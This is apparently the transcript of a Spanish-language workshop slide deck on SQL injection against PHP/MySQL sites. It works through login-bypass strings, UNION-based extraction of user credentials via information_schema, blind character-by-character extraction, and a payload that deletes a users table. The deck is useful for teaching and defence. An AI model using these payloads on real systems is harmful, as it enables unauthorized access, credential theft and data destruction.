sql injection

27

Upload: carlos-rodallega

Post on 09-Jul-2015

957 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Sql injection
Page 2: Sql injection

Problemas de configuración del servidor.

Bugs en los modulos del framework usado en el

sitio (Actualizaciones)

Problemas en la lógica del negocio

› Manejo incorrecto de archivos.

› Mal filtrado de variables.

Page 3: Sql injection
Page 4: Sql injection
Page 5: Sql injection
Page 6: Sql injection
Page 7: Sql injection

Problemas en la lógica del negocio

› Mal filtrado de variables .

$login=$_POST['login'];

$login <- roguer

$login <- ‘

Page 8: Sql injection

Internamente › SELECT * FROM usuarios WHERE nombre= „$login‟

AND password=„$pass‟

SELECT * FROM usuarios WHERE nombre = „roguer‟

AND password=„contrasena‟

SELECT * FROM usuarios WHERE nombre = „‟‟ AND

password=„‟‟

Page 9: Sql injection

Paginas de inicio de sesión

› Nombre de Usuario

› Contraseña

http://mi_ip/Taller

Page 10: Sql injection

„or‟‟=„

„or‟1‟=„1

Select * from usuarios where nombre=„„or‟‟=„‟

AND password=„„or‟‟=„‟

Page 11: Sql injection

Operaciones sobre consultas

› Order by

› Union

› Limit

Page 12: Sql injection

Pagina que gestiona el contenido de

una base de datos.

› Paginas que contienen un parámetro tipo id

› ¿ Y si hacemos que ese sea id=„ ?

“Error”

Page 13: Sql injection

¿Se esta consultando una tabla de la

base de datos?

¿Nos muestra algún error?

Que nos sirve saber acerca de la tabla

consultada?

Page 14: Sql injection

Obteniendo el numero de columnas

› Pagina.php?id=-1+order+by+X—

¿Porque -1?

¿Que hace el order by en esta consulta?

¿Como puedo obtener un resultado de

la inyección?

Page 15: Sql injection

Obteniendo un resultado visible en el

sitio.

› Pagina.php?id=-1+union+select+1,2,3.,.,n—

› ¿Cual es la diferencia ahora?

› ¿Para que esos números?

Page 16: Sql injection

Funciones de mysql

› Version()

› User()

› Database()

› Concat()

Page 17: Sql injection

Obteniendo información de la conexión.

› Pagina.php?id=-1+union+select+1,user(),3.,.,n—

› ¿Cual es la diferencia ahora?

› ¿Qué resultado arrojó?

Page 18: Sql injection

Malicia Indígena o information.schema.› Pagina.php?id=-1+union+ select+1,2,3.,.,n+from+tabla—

› ¿Qué resultado arrojó?

Page 19: Sql injection

¿Si tengo el nombre de la tabla y las

columnas que puedo hacer?

Pagina.php?id=-1+union+select+1,login,pass, ...,n+from+usuarios—

¿Cómo paso al siguiente registro?

Page 20: Sql injection

¿Y si la pagina no genera errores al hacer id=„?

Page 21: Sql injection

Estructura de la consulta

› SELECT * FROM noticias WHERE id=$id

› SELECT * FROM noticias WHERE id=5

› SELECT * FROM noticias WHERE id=5 AND 1=1

Page 22: Sql injection

Concepto de Subconsultas

› SELECT count(*) FROM tabla

› SELECT count(campo) FROM tabla

› SELECT * FROM noticias WHERE id=5 AND 1=1

Page 23: Sql injection

Uniendo campos y usando operadores

› SELECT concat(login,0x3a,password) FROM usuarios LIMIT 0,1

› substring(campo,carater_inicio,tamaño)

› substring(campo,1,1)

› Ascii(caracter)

Page 24: Sql injection

¿Toca sacar carácter por carácter?

¿Cómo se cuantos caracteres debo

sacar?

Page 25: Sql injection

¿Es esto critico?

¿Para puede servir esta información?

¿A través de SQL-Inyection solo se

puede sacar información?

› login=‘roguer’;delete from usuarios--

Page 26: Sql injection
Page 27: Sql injection